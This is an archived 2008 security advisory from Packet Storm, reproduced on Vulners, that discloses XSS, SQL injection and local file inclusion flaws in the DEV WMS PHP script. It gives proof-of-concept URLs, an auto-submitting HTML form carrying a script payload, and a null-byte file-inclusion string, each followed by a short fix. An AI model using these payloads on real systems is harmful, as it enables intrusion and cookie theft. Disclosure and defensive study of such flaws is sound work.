Lucene search
K

devwms-lfisqlxss.txt

🗓️ 31 Jul 2008 00:00:00Reported by IRCRASHType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

DEV WMS multiple vulnerabilities (LFI / XSS / SQLi

Code
`----------------------------------------------------------------  
  
Script : DEV WMS  
  
Type : Multiple Vulnerabilities ( Local file inclusion / Cross Site Scripting / SQL Injection )  
  
Alert : High  
  
----------------------------------------------------------------  
  
Discovered by : Khashayar Fereidani Or Dr.Crash  
  
My Website : HTTP://FEREIDANI.IR  
  
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com  
  
----------------------------------------------------------------  
  
Script Download : http://dev-wms.sourceforge.net/  
  
----------------------------------------------------------------  
  
XSS Vulnerability 1 :  
  
Variable Sent Method : GET  
  
Vulnerable Variable : session  
  
Address : http://Example.com/?session=">><>><script>alert(document.cookie)</script>  
  
Solution : filter session variable with htmlspecialchars() function ...  
  
----------------------------------------------------------------  
  
Xss Vulnerability 2 :   
  
Variable Sent Method : POST  
  
Vulnerable Variable : kluc  
  
Address : http://Example.com/index.php?session=0&action=search  
  
change example.com to script address in a real site and save as ircrash.html , open file with browser and see your cookie .  
  
<html>  
<head></head>  
<body onLoad=javascript:document.form.submit()>  
<form action="http://Example.com/index.php?session=0&action=search" method="POST" name="form">  
<form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/>  
<input type="hidden" name="kluc" value="&#34&#39&#39&#39&#60&#62&#62&#62&#62<script>alert('xss')</script>">  
</form>  
</body>  
</html>  
  
Solution : filter kluc variable with htmlspecialchars() function ...  
  
----------------------------------------------------------------  
SQL Injection :  
  
Method Of Send : GET  
  
Vulnerable Variable : article  
  
Address : http://Example.com/index.php?session=0&action=read&click=open&article=[SQL CODE]  
  
Solution : Filter danger caracter for article variable ...  
  
----------------------------------------------------------------  
Local file inclusion :  
  
Method Of Send : GET  
  
Vulnerable Variable : step  
  
Address : http://Example.com/admin/index.php?start=install&step=file.type%00  
  
Solution : Filter step variable with if function ...  
  
----------------------------------------------------------------  
  
Tnx : God  
  
HTTP://IRCRASH.COM  
  
----------------------------------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation